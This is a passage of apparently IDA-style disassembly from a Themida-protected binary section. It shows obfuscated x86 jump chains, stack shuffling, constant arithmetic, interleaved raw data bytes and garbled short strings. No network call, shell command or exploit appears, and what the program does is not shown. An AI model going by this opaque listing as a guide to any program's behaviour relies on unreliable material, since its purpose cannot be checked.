		dd 6652240Ch, 661C9368h, 870E95Ah, 0E6810000h, 5C785645h
		dd 5102EEC1h, 0C181E189h, 4, 4E981h, 0C870000h,	14895C24h
		dd 4EC8324h, 68243489h,	15666D62h, 97B8E95Eh, 34890000h
		dd 7743BE24h, 0F0012341h, 0FF2434FFh, 31E92434h, 4F00000Eh
		dd 0F129EF81h, 0F9010560h, 0CBB535Fh, 2925185Ch, 69E95BD9h
		dd 59000049h, 0F703E8C1h, 0D1F791D8h, 40D0F791h, 7FF2BB53h
		dd 0C3810C04h, 0F44F7BEFh, 1C8BD801h, 4C48124h,	1000000h
		dd 1BE958C5h, 0F70000B6h, 8159241Ch, 303200C1h,	4815132h
		dd 343CFB24h, 8CF5E931h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_558026:				; CODE XREF: Themida_:0055FD73j
		pop	esp
		mov	[esp], eax
		jmp	loc_5583A9
; ---------------------------------------------------------------------------

loc_55802F:				; CODE XREF: Themida_:00557A71j
		add	edi, 1D6B7361h
		add	eax, edi
		jmp	loc_559808
; ---------------------------------------------------------------------------

loc_55803C:				; CODE XREF: Themida_:0055F4A1j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	edx
		push	ebx
		push	62BF14CEh
		pop	ebx
		xor	ebx, 7C082D44h
		sub	ebx, 36629CBh
		add	ebx, 520C6B58h
		sub	ebx, 0F0B076D2h
		mov	edx, ebx
		pop	ebx
		xor	ebp, edx
		jmp	loc_5537CD
; ---------------------------------------------------------------------------

loc_55806D:				; CODE XREF: Themida_:0055BFA5j
		mov	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		sub	eax, ebp
		pop	ebp
		mov	edi, [esp]
		add	esp, 4
		push	405Bh
		mov	[esp], edx
		push	7539h
		mov	[esp], esi
		push	6519h
		mov	[esp], ebp
		push	5ACCh
		mov	[esp], esi
		mov	esi, 3D2339A0h
		push	ebx
		jmp	loc_5606F9
; ---------------------------------------------------------------------------
		db 81h
		dd 386581E9h, 0E77AE90Bh, 0CBBFFFFh, 0F7590068h, 9DEB81D3h
		dd 553C935Dh, 7416CABDh, 50ED8165h, 0E9230A09h,	0FFFFEEE0h
		dd 875DEF01h, 7BE9243Ch, 59FFFFDDh, 48BC501h, 0DCAE924h
		dd 0C8B0000h, 0E3895324h, 4C381h, 0C3810000h, 4, 0E9241C87h
		dd 0E2DEh
; ---------------------------------------------------------------------------

loc_558108:				; CODE XREF: Themida_:00559F42j
		xor	ecx, 4FA2449h
		jmp	loc_553911
; ---------------------------------------------------------------------------

loc_558113:				; CODE XREF: Themida_:0055D48Bj
		mov	eax, 4C026E91h
		xor	[esp+4], eax
		pop	eax
		jmp	loc_565D38
; ---------------------------------------------------------------------------

loc_558122:				; CODE XREF: Themida_:00558160j
		add	ebp, 4
		jmp	loc_551950
; ---------------------------------------------------------------------------

loc_55812D:				; CODE XREF: Themida_:00552E2Cj
		pop	ebp
		add	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_556802
; ---------------------------------------------------------------------------
		db 5Eh
		dd 31241C33h, 1C33241Ch, 1BC7E924h, 0DE290000h,	81D6015Bh
		dd 986928C6h, 9E13E90Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55815A:				; CODE XREF: Themida_:00557416j
		add	ebp, 4
		jmp	loc_558122
; ---------------------------------------------------------------------------

loc_558165:				; CODE XREF: Themida_:0055D85Cj
		not	eax
		push	esi
		jmp	loc_562E57
; ---------------------------------------------------------------------------
		db 5, 22h, 69h
		dd 19E94D3Eh, 5FFFFFE3h, 0E9241C33h, 0AC47h, 3ED6EB81h
		dd 0D929F494h, 53C1015Bh, 1F7CDFBBh, 43CB8127h,	0E96F2910h
		dd 0FFFFBF86h, 465C2548h, 0D8F73910h, 39C0E9h
		db 0
; ---------------------------------------------------------------------------

loc_5581A9:				; CODE XREF: Themida_:0055EB37j
		sub	esp, 4
		jmp	loc_5600B6
; ---------------------------------------------------------------------------

loc_5581B1:				; CODE XREF: Themida_:005638B7j
		push	ecx
		mov	ecx, 0B1024h
		xor	eax, ecx
		jmp	loc_563D2D
; ---------------------------------------------------------------------------

loc_5581BE:				; CODE XREF: Themida_:0055F521j
		pop	ebp
		mov	edx, [esp]
		jmp	loc_55D185
; ---------------------------------------------------------------------------
		db 1
		dd 24048BC7h, 104C483h,	243C8BFEh, 4C481h, 16E90000h
		db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5581DF:				; CODE XREF: Themida_:0055C3B8j
		pop	esp
		mov	[esp], ebx
		mov	ebx, 200000h
		and	eax, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_556FC9
; ---------------------------------------------------------------------------
byte_5581FB	db 66h			; DATA XREF: Themida_:00551214o
		dd 0E8E932FFh, 89FFFF92h, 0B4E9243Ch, 5DFFFFA7h, 0FF94E3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_558211:				; CODE XREF: Themida_:00563A7Fj
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	ebx
		push	0E5C0B41h
		mov	ebx, [esp]
		add	esp, 4
		xor	ebx, edx
		xor	edx, ebx
		jmp	loc_552927
; ---------------------------------------------------------------------------
		dd 8159CA31h, 639D9EBh,	81D32964h, 639D9C3h, 0BAE95A64h
		dd 68FFFFA4h, 1CAEh, 0E9240489h, 0FFFF9297h, 0E902C283h
		dd 0FFFFB5A9h, 0F64AB652h, 2DA3E9DEh, 0C4810000h, 4, 0E027C281h
		dd 0D389FA76h, 76C3815Ah, 0E97ACD6Ah, 5A1Dh, 0E5E9BCB0h
		dd 50000046h, 4C5044B8h, 58C12165h, 45C0BF57h, 48E95C25h
		dd 5E00003Bh, 4C281h, 14330000h, 0D7E924h, 0AF680000h
		dd 89000071h, 2BA2414h,	81000000h, 0BA52A1EBh, 7D99E92Ch
		dd 2C8B0000h, 0E7895724h, 4C781h, 0C7830000h, 243C8704h
		dd 0FFD17AE9h, 8BF101FFh, 0C6E92434h, 8BFFFF92h, 4815A02h
		dd 247BC424h, 73BB536Eh, 0E91F3307h, 2AF1h
; ---------------------------------------------------------------------------

loc_5582F8:				; CODE XREF: Themida_:0056587Dj
		pop	esp
		shr	eax, 10h
		xor	eax, ecx
		push	eax
		xor	[esp], edx
		jmp	loc_5643BA
; ---------------------------------------------------------------------------

loc_558307:				; CODE XREF: Themida_:00564B79j
		push	edx
		jmp	loc_562167
; ---------------------------------------------------------------------------
		db 0F7h, 0D0h, 52h
		dd 0E40113BAh, 90E94A2Eh
		db 62h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55831B:				; CODE XREF: Themida_:0055F76Bj
		push	eax
		mov	eax, esp
		jmp	loc_564171
; ---------------------------------------------------------------------------
		db 1
		dd 29BD55CBh, 0E93D2D09h, 0FFFFB271h
; ---------------------------------------------------------------------------

loc_558330:				; CODE XREF: Themida_:0055A021j
		sub	eax, 62FC5C96h
		jmp	loc_564A9C
; ---------------------------------------------------------------------------
		dw 0E189h
		dd 7AF8BA52h, 314219B7h, 31D031C2h, 819248C2h, 2D5DF7CAh
		dd 81E2D11Eh, 810006C2h, 5AD101C0h, 4BA52h, 0D1010000h
		dd 0FE1E95Ah, 875F0000h, 0ABE92404h, 8B000059h,	0F662424h
		dd 9C2404A3h, 0FF916AE9h, 241431FFh, 5C241433h,	0E92434FFh
		dd 0E125h
; ---------------------------------------------------------------------------

loc_558390:				; CODE XREF: Themida_:0055F473j
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_55DF2D
; ---------------------------------------------------------------------------
aBuETs		db '│Н|EнTИад',0
		db 0
; ---------------------------------------------------------------------------

loc_5583A9:				; CODE XREF: Themida_:0055802Aj
		mov	eax, 2D0C4EFDh
		jmp	loc_55DE32
; ---------------------------------------------------------------------------

loc_5583B3:				; CODE XREF: Themida_:00552FA5j
		xor	eax, esi
		pop	esi
		add	eax, 0CF17C6EAh
		add	edx, 136C74C0h
		sub	edx, eax
		sub	edx, 136C74C0h
		mov	eax, [esp]
		add	esp, 4

loc_5583CF:				; CODE XREF: Themida_:00553140j
					; Themida_:loc_55E702j
		push	dword ptr [edi+24h]
		jmp	loc_557B6F
; ---------------------------------------------------------------------------
		db 0FFh
		dd 5B042474h, 8B24048Fh, 0C332424h, 240C3124h, 0E9240C33h
		dd 0FFFFB234h
; ---------------------------------------------------------------------------

loc_5583F0:				; CODE XREF: Themida_:0055B485j
		mov	esp, [esp]
		pop	dword ptr [edi+24h]

loc_5583F6:				; CODE XREF: Themida_:00557065j
		push	53CEh
		jmp	loc_56464C
; ---------------------------------------------------------------------------

loc_558400:				; CODE XREF: Themida_:00559EA4j
		not	esi
		xchg	esi, [esp]
		pop	esi
		inc	esi
		shr	esi, 6
		xor	esi, 0C656447h
		add	esi, 5CFBFD12h
		push	esi
		jmp	loc_566D1A
; ---------------------------------------------------------------------------

loc_55841C:				; CODE XREF: Themida_:005525B8j
		mov	esp, [esp]
		push	esi
		mov	esi, 4CF8498Bh
		sub	esp, 4
		jmp	loc_566725
; ---------------------------------------------------------------------------
		dd 0BB53CA01h, 2F35440Eh, 4F37EA81h, 0C28176E8h, 26C00269h
		dd 3316EA81h, 0DA017F76h, 3316C281h, 0EA817F76h, 26C00269h
		dd 0FFCCF5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55845D:				; CODE XREF: Themida_:00561465j
		add	esp, 4
		xchg	ebp, [esp]
		jmp	loc_559F37
; ---------------------------------------------------------------------------
		db 50h
		dd 0FF9FB5E9h, 243489FFh, 0BD2253BEh, 14F75639h, 0EE815E24h
		dd 62F69A18h, 0AD3BE956h, 575DFFFFh, 124BCFBFh,	5FF8097Ch
		dd 5DCDE9h
		db 0
byte_558499	db 8Bh,	0Ch, 24h	; DATA XREF: Themida_:0055121Co
		dd offset aFitzmaurice+4
		dd 242C8900h, 6C7168h, 24248900h, 64A2E9h, 8BC38800h, 0C4832404h
		dd 54E95004h, 660000B6h, 24F7805Bh, 34FFF988h, 14E95B24h
		db 8Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5584CF:				; CODE XREF: Themida_:005530ECj
		dec	ebp
		not	ebp
		sub	ebp, 3CF92730h
		mov	ebx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_55731A
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 7EC77483h, 0AB21C681h, 0F2315321h, 0E9D3015Eh, 9890h
		dd 1C681h, 0C6810000h, 6DAE4541h, 0C45BE957h, 45AFFFFh
		dd 0EC835217h, 241C8904h, 0C520E9h, 24148B00h, 3104C483h
		dd 0EDC15BDDh, 3BF58108h, 100D857h, 0BA525DEFh,	2, 6DE9D701h
		dd 8BFFFFB7h, 0C4812434h, 4, 548EE9h
		db 0
; ---------------------------------------------------------------------------

loc_55854D:				; CODE XREF: Themida_:00566A4Dj
		pop	ebx
		jmp	loc_5547FC
; ---------------------------------------------------------------------------
		db 83h
		dd 0CEE904C4h, 8B0000C9h, 0C483241Ch, 56E98104h, 1610F13h
		dd 56BB53D9h, 1610F13h,	0E95B5BD9h, 7B6Bh, 0E924048Fh
		dd 767h, 0C187E951h
		db 2 dup(0FFh)
word_558586	dw 51ADh		; DATA XREF: Themida_:00551278o
		dd 0CC7CA8B9h, 0C2C1810Eh, 0E9044353h, 0FFFFD53Bh
; ---------------------------------------------------------------------------

loc_558598:				; CODE XREF: Themida_:0055530Fj
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 59DF42CAh
		xchg	esi, ebx
		not	esi
		jmp	loc_55F03F
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0FF9433E9h, 63FE05FFh, 0C8010FB8h, 63FEBB53h, 0D8290FB8h
		dd 0E950595Bh, 0FFFFEEFBh
dword_5585CC	dd 8904EC83h, 0BA522434h, 23A05626h, 0D59445BEh, 5AD62994h
					; DATA XREF: Themida_:0055126Co
		dd 4EC81h, 14890000h, 5DF8BA24h, 0EA8176BEh, 1,	4EC81h
		dd 4890000h, 1ABF5724h,	8962FD07h, 0A8C2E9F8h, 0DEF70000h
		dd 0D7E9EE81h, 0F789583Ah, 8124348Bh, 4C4h, 15D1E900h
		dd 59580000h, 70468h, 24048900h, 8853FC88h, 0BA6BE9E3h
		dd 0F6800000h, 0B3536635h, 0D2C8E97Bh, 0F6810000h, 79473425h
		dd 0D556F681h, 39E9B5A7h
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_558653:				; CODE XREF: Themida_:00554AD8j
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_55F066
; ---------------------------------------------------------------------------

loc_558661:				; CODE XREF: Themida_:00554B4Ej
		pop	edi
		jmp	loc_55CD68
; ---------------------------------------------------------------------------
		db 89h
		dd 448159C8h, 270F0424h, 32E9045Bh, 81000016h, 781245C3h
		dd 0E0EA81C2h, 0E95B0609h, 5C34h, 6BF8E281h, 81425CEAh
		dd 3A23AF2h, 5AD601C4h,	348BF289h, 4C48124h, 1000000h
		dd 0B4ADE9D6h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5586AA:				; CODE XREF: Themida_:0055278Fj
		push	7D0E241Dh
		pop	edi
		jmp	loc_5533E4
; ---------------------------------------------------------------------------
		db 5Fh,	2Dh, 0EFh
		dd 486F300Fh, 0A4394A35h, 1A742D58h, 0C329C73Fh, 582434FFh
		dd 0FFA58DE9h, 243487FFh, 16F1E95Ch, 34870000h,	0C6BBE924h
		dd 4B9FFFFh, 53000000h,	0AE4F75BBh, 4D4DE97Ch, 0E9810000h
		dd 57467020h, 9482E9h
		db 0
; ---------------------------------------------------------------------------

loc_5586FD:				; CODE XREF: Themida_:0055EEA1j
		shl	ecx, 7
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		neg	ecx
		xor	ecx, 918A7A98h
		sub	eax, 2E316EB2h
		add	eax, ecx
		add	eax, 2E316EB2h
		pop	ecx
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_5557C8
; ---------------------------------------------------------------------------
		dw 5F54h
		dd 0E904EC83h, 9B9Eh, 504C483h,	4, 5AFCE9h, 241C8900h
		dd 0FFA060E9h, 55EE81FFh, 11E287Dh, 55C681D6h, 8B1E287Dh
		dd 0C4832414h, 8BC68104h, 13EB025h, 4256E9CEh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_558766:				; CODE XREF: Themida_:0056361Dj
		push	edi
		mov	edi, 543B4DD8h
		dec	edi
		and	edi, 3DCD307Ah
		xor	edi, 4A912BFh
		jmp	loc_556AE1
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 46C936D1h, 0A770EA0Dh, 0CE6353Eh, 632D01D1h,	0E9598122h
		dd 0FFFFEA22h, 94E9555Fh, 55FFFF90h, 4BDh, 246C8100h, 2801BC04h
		dd 246C011Bh, 24448104h, 2801BC04h, 4C88E91Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5587BE:				; CODE XREF: Themida_:005616DCj
		shl	eax, 7
		jmp	loc_55787B
; ---------------------------------------------------------------------------
		dw 0E95Fh
		dd 0EC1h
; ---------------------------------------------------------------------------

loc_5587CC:				; CODE XREF: Themida_:00553F8Fj
		mov	ecx, 7FA02008h
		add	ebx, ecx
		jmp	loc_55D29F
; ---------------------------------------------------------------------------
		dd 81F70158h, 4256EFEFh, 0EF815E43h, 4,	5C243C87h, 0FFADA8E9h
		dd 8CF5E9FFh, 8166FFFFh, 0E90001EAh, 5DF4h, 6624248Bh
		dd 0E9C8AF0Fh, 0FFFFCF8Ch, 58C5295Eh, 1E4EBA52h, 0D529503Ah
		dd 81DD295Ah, 3A1E4EC5h, 0E33EE950h, 0C8B0000h,	0DBA7E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55882E:				; CODE XREF: Themida_:00555FA1j
		add	esp, 4
		add	esp, 4
		jmp	loc_565A73
; ---------------------------------------------------------------------------
		dd 582434FFh, 0FF04C483h, 83582434h, 0E95604C4h, 0D736h
; ---------------------------------------------------------------------------

loc_558850:				; CODE XREF: Themida_:005636C1j
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_554BE6
; ---------------------------------------------------------------------------
byte_55887B	db 66h			; DATA XREF: Themida_:00551410o
		dd 68240C8Bh, 6449h, 60AAE9h
		db 0
; ---------------------------------------------------------------------------

loc_558889:				; CODE XREF: Themida_:005619D8j
		inc	edi
		xchg	edi, esi
		push	ebp
		jmp	loc_55AA54
; ---------------------------------------------------------------------------
		dw 0C140h
		dd 0D0F704E0h, 282ABB35h, 0E9C5895Bh, 0FFFFBAFEh, 0F9D6E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5588AA:				; CODE XREF: Themida_:00564C89j
		mov	[esp], edx
		mov	edx, 481707BBh
		jmp	loc_556290
; ---------------------------------------------------------------------------
		db 89h
		dd 4C681E6h, 81000000h,	4EEh, 24348700h, 2BECE95Ch, 0C7800000h
		dd 4EC83FFh, 0E9240489h, 106h, 0E9A4F680h, 0FFFFB691h
; ---------------------------------------------------------------------------

loc_5588E4:				; CODE XREF: Themida_:0055CC6Fj
		add	esp, 4

loc_5588E7:				; CODE XREF: Themida_:00559F67j
					; Themida_:00564CC0j
		push	530Ch
		mov	[esp], edi
		jmp	loc_5532CE
; ---------------------------------------------------------------------------
aSze		db '\Иz┘',0
		align 2
		dw 487h
		dd 0BF575C24h, 2, 6047EB81h, 0FB01234Fh, 0ABCBE9h, 0EC835600h
		dd 242C8904h, 729568h, 240C8900h, 0F607C3B9h, 4EC8359h
		dd 0E9241489h, 0FFFFA964h, 5503E2C1h, 65173BBDh, 0FFED813Dh
		dd 81FFFFFFh, 130E08E5h, 0A920E910h, 3489FFFFh,	76916824h
		dd 24890000h, 10B9E924h, 1B50000h, 0FE59EB00h, 323468C3h
		dd 0B0E90000h, 0BF0000AAh, 5AFF5D34h, 73AFEF81h, 0CF81688Ah
		dd 244D1419h, 0C5B6EF81h, 0BE569417h, 7FF945A9h, 15EF501h
		dd 0A9ED81FDh, 5F7FF945h, 48E2B951h, 0ED81193Eh, 4A496780h
		dd 0C581CD29h, 4A496780h, 0FFED8159h, 94A04C4h,	0E95D1C6Fh
		dd 0FFFF8B33h
; ---------------------------------------------------------------------------

loc_5589B8:				; CODE XREF: Themida_:0055EE0Bj
		xor	ebp, 6A46678Dh
		push	ebp
		jmp	loc_555DF8
; ---------------------------------------------------------------------------
		dd 2DB119B4h, 6658E128h, 0E974B252h, 1673h, 0B551D828h
		dd 6FB75322h, 8C92E953h, 5B00000h, 96E9FE04h, 0B9000044h
		dd 4, 0E959CB01h, 49C3h, 2E22C281h, 0C2814F19h,	29BA0BDBh
		dd 0E14FE9h, 4C18100h, 81000000h, 4C1h,	240C8700h, 0E924248Bh
		dd 7DF6h, 0B9240C89h, 0F230AEE4h, 0D3E9CE31h, 81FFFFB7h
		dd 4C5h, 242C8700h, 7EBE685Ch, 0C890000h, 0BBE95224h, 53FFFF95h
		dd 5F4D7068h, 73E95B5Eh, 5C0000CAh, 4B30F66h, 8CE99C24h
		dd 28FFFF8Ah, 0C83058E1h, 592434FFh, 1268h, 241C8900h
		dd 0BF57E389h, 4, 9CE9FB01h, 8300005Fh,	0FF042404h
		db 34h,	24h, 5Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_559466
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 87000000h, 248B243Ch, 40FFE924h, 0EC830000h,	24148904h
		dd 315868h, 11A7E900h, 0C1800000h, 0E9C800C0h, 14Ah
; ---------------------------------------------------------------------------

loc_558AC0:				; CODE XREF: Themida_:00556B7Dj
		sub	ch, 0B3h
		jmp	loc_56133E
; ---------------------------------------------------------------------------

loc_558AC8:				; CODE XREF: Themida_:00564D77j
		mov	esi, eax
		jmp	loc_56622B
; ---------------------------------------------------------------------------
		db 5Eh
		dd 95BDA89h, 0F5840FC9h, 57000051h, 0C781E789h,	4, 0E904EF83h
		dd 0A9B0h
; ---------------------------------------------------------------------------

loc_558AEC:				; CODE XREF: Themida_:0055B505j
					; Themida_:0055D6E2j
		sub	esp, 4
		mov	[esp], ebp
		push	7D7Fh
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, ebx
		jmp	loc_56120D
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 243C8904h, 11286850h, 0D158189Ah, 35D8F7E8h,	0B97C086Bh
		dd 48BC789h, 43E3E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_558B2A:				; CODE XREF: Themida_:0055D39Aj
		add	ebx, 5C39750Fh
		add	ebx, eax
		sub	ebx, 5C39750Fh
		pop	eax
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		add	ecx, 61CE360Fh
		jmp	loc_55B53C
; ---------------------------------------------------------------------------
		dd 0ABBCE95Eh, 0C200FFFFh, 0D3285866h, 0C0B60F5Ah, 365BE9h
		dd 0D9E98000h, 7A8FE9h,	68C80400h, 4E97h, 0E9240489h, 0FFFFD781h
; ---------------------------------------------------------------------------

loc_558B7C:				; CODE XREF: Themida_:00552845j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55DCC2
; ---------------------------------------------------------------------------
byte_558B87	db 0FFh			; DATA XREF: Themida_:005513CCo
		dd 5CE92C77h
		db 89h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_558B8F:				; CODE XREF: Themida_:00555447j
		sub	eax, ecx
		pop	ecx
		add	esi, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_564216
; ---------------------------------------------------------------------------
byte_558BA5	db 0FFh, 34h, 24h	; DATA XREF: Themida_:00551234o
		dd 8B2434FFh, 0C4832404h, 3B2C6804h, 0C890000h,	4EC8324h
		dd 0E9242489h, 0FFFFB6F5h, 54243489h, 8324348Bh, 0C68104C4h
		dd 4, 4C681h, 91E90000h
		db 99h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_558BDF:				; CODE XREF: Themida_:0055388Aj
		mov	ecx, 272656D7h
		jmp	loc_55C483
; ---------------------------------------------------------------------------
		db 53h,	0B7h, 0C2h
		dd 0E7C0CFFEh, 2AF78004h, 0A59E9h, 2BD5500h, 0E9000000h
		dd 0FFFFA9DAh, 77D4E958h, 2C590000h, 0B3535BDDh, 4FD3E912h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_558C16:				; CODE XREF: Themida_:005540AFj
		push	esi
		mov	esi, 7AAC14DFh
		mov	ebp, 8553EB25h
		jmp	loc_5602E5
; ---------------------------------------------------------------------------
		dw 96BAh
		dd 5360EA19h, 0FFDD87E9h, 241C87FFh, 30C9E95Ch,	0BE560000h
		dd 657B727Fh, 176EEE81h, 0F029F689h, 3B10E9h, 31595C00h
		dd 242C8BE8h, 114BE951h, 85680000h, 0E9000075h,	921Fh
		dd 895BD801h, 958EE9C2h, 3366FFFFh, 31662404h, 70E92404h
		db 88h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_558C7B:				; CODE XREF: Themida_:0055314Bj
		push	edi
		mov	edi, 17791A6Ch
		sub	edx, edi
		pop	edi
		push	edi
		jmp	loc_55BD2A
; ---------------------------------------------------------------------------
aVssj		db 'VИАJ',0
		align 10h
		dd 0E9240C8Bh, 0FFFFDD6Dh, 0C480CCFEh, 58E7207Ah, 54F65366h
		dd 14E90124h, 28FFFFF8h, 2434FFF8h, 0FFE9D3E9h,	0E95B66FFh
		dd 988Ah, 51CA015Bh, 7C1494B9h,	5E1C174h, 430BE981h, 0CA0112D4h
		dd 8FEE959h, 0F6810000h, 60001004h, 0FFE3F7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_558CE1:				; CODE XREF: Themida_:0055C5BBj
		pop	esi
		jmp	loc_55B50A
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0FF2434FFh, 34FF2434h, 0C464E924h, 0F660000h, 5166C8B6h
		dd 0DF18E99Ch, 33590000h, 0C4E92414h, 55000080h, 0C85FE1BDh
		dd 7D29E95Ch, 0C8290000h, 8718AF05h, 240C8B14h,	5204C483h
		dd 7744E9h
		db 0
; ---------------------------------------------------------------------------

loc_558D29:				; CODE XREF: Themida_:0055370Dj
		mov	ecx, esp
		jmp	loc_562EDE
; ---------------------------------------------------------------------------
		dd 9066E95Ch, 0BF57FFFFh, 460831BDh, 1181E781h,	86E956BCh
		dd 8BFFFF9Fh, 0C481242Ch, 4, 5819BB53h,	555257FAh, 0A41063BDh
		dd 4E5C15Bh, 2F5F581h, 0C5815B76h, 84A576C2h, 95DEA89h
		dd 2434FFD3h, 4C4835Ah,	2414F753h, 83241C8Bh, 409304C4h
		dd 5DEB8193h, 1880184h,	241C8BDDh, 5004C483h, 512FEEB8h
		dd 0B7B9510Eh, 0E94D8F3Dh, 0DB33h
; ---------------------------------------------------------------------------

loc_558DA4:				; CODE XREF: Themida_:0055AB61j
		add	ebx, 6FDA2613h
		shl	ebx, 7
		jmp	loc_55C61E
; ---------------------------------------------------------------------------
		dw 0ED80h
		dd 51F580F3h, 9B03E9h
		db 0
; ---------------------------------------------------------------------------

loc_558DBD:				; CODE XREF: Themida_:00565993j
		push	ebx
		jmp	loc_56472C
; ---------------------------------------------------------------------------

loc_558DC3:				; CODE XREF: Themida_:00555FBFj
		shl	edx, 7
		xor	edx, 39C628DCh
		sub	ecx, edx
		pop	edx
		push	edi
		mov	edi, 16080404h
		push	30F8h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 5A2008B3h
		jmp	loc_5567B6
; ---------------------------------------------------------------------------
aSZ		db '^И}z',0
		align 2
		dw 6C0Dh
		dd 50A7903h, 0CAAD7404h, 8958C231h, 99E94057h, 89000094h
		dd 4812424h, 424h, 2434FF00h, 83242C8Bh, 515704C4h, 0E956E189h
		dd 0FFFF9336h, 817C632Dh, 5F8010Ah, 0A817C63h, 81243C8Bh
		dd 4C4h, 2F0C6800h, 34890000h, 0F4685024h, 8B564960h, 82E92404h
		dd 55000029h, 42474FFh,	83242C8Bh, 48F04C4h, 14F75524h
		dd 0AFE95D24h
		db 8Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_558E77:				; CODE XREF: Themida_:00555F2Bj
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		add	esi, 4
		jmp	loc_55B774
; ---------------------------------------------------------------------------
		db 5Dh
		dd 38A8ED81h, 58591830h, 7ACCB850h, 0E6E94E11h,	81000090h
		dd 0F85817F5h, 8EED813Fh, 0E93A2E68h, 0FFFFCFADh, 0E904C483h
		dd 0FFFFFD9Ah, 0E9FC885Ah, 40B3h
; ---------------------------------------------------------------------------

loc_558EC8:				; CODE XREF: Themida_:0055CADCj
		inc	edx
		push	esi
		jmp	loc_56346C
; ---------------------------------------------------------------------------
		db 81h
		dd 47E2EBC3h, 5BDA09F7h, 275AF281h, 51534BA6h, 0B317E9h
		dd 241C8B00h, 0E904C483h, 0FFFFA435h
; ---------------------------------------------------------------------------

loc_558EF0:				; CODE XREF: Themida_:0055295Aj
		pop	edx
		inc	esi
		jmp	loc_55A212
; ---------------------------------------------------------------------------
		db 8Bh
		dd 1C892424h, 4EAFE924h, 0E1810000h, 1D504E2Dh,	2B70BA52h
		dd 0C2811F1Ch, 80B8D362h, 78AAC181h, 0D129342Fh, 78AAE981h
		dd 815A342Fh, 1E18EBC9h, 4EC8108h, 89000000h, 28E9240Ch
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------

loc_558F37:				; CODE XREF: Themida_:0055A1BAj
		shr	ecx, 7
		jmp	loc_553C4F
; ---------------------------------------------------------------------------
		db 80h
		dd 0E23068C4h, 8124048Bh, 4C4h,	8BD03000h, 5DE92414h, 68000024h
		dd 53D477C1h, 7785E9h
		db 0
; ---------------------------------------------------------------------------

loc_558F61:				; CODE XREF: Themida_:0055FC12j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		xor	eax, esi
		mov	esi, [esp]
		add	esp, 4
		add	eax, 0C1541BCh
		jmp	loc_55F4AD
; ---------------------------------------------------------------------------

loc_558F89:				; CODE XREF: Themida_:0055538Aj
		push	edi
		jmp	loc_556C8E
; ---------------------------------------------------------------------------

loc_558F8F:				; CODE XREF: Themida_:0056120Ej
		pop	eax
		jmp	loc_560622
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0
		dd 0CD8058E5h, 66DDF699h, 80EDB652h, 3AE971C5h,	0FFFFFFD4h
		dd 83582434h, 565504C4h, 4769F668h, 24348B6Eh, 4C481h
		dd 83E90000h, 0BB000021h, 3D1F3BC6h, 0E901C383h, 0A452h
; ---------------------------------------------------------------------------

loc_558FD8:				; CODE XREF: Themida_:0055613Cj
		mov	eax, [esp]
		add	esp, 4
		xor	eax, 15E90CAFh
		mov	ecx, eax
		pop	eax
		push	esi
		jmp	loc_556BDB
; ---------------------------------------------------------------------------
aAQsD		db '─ЛqИфD',0
		align 4
		dd 2414F766h, 241C8B66h, 2C481h, 87660000h, 8B66241Ch
		dd 0E9532404h, 3500h, 15BDF29h,	7BBE56CFh, 8123505Dh, 2A4AFAEEh
		dd 5EF701CBh, 0FFBAD2E9h, 31AFBBFFh, 0DD89342Fh, 81241C8Bh
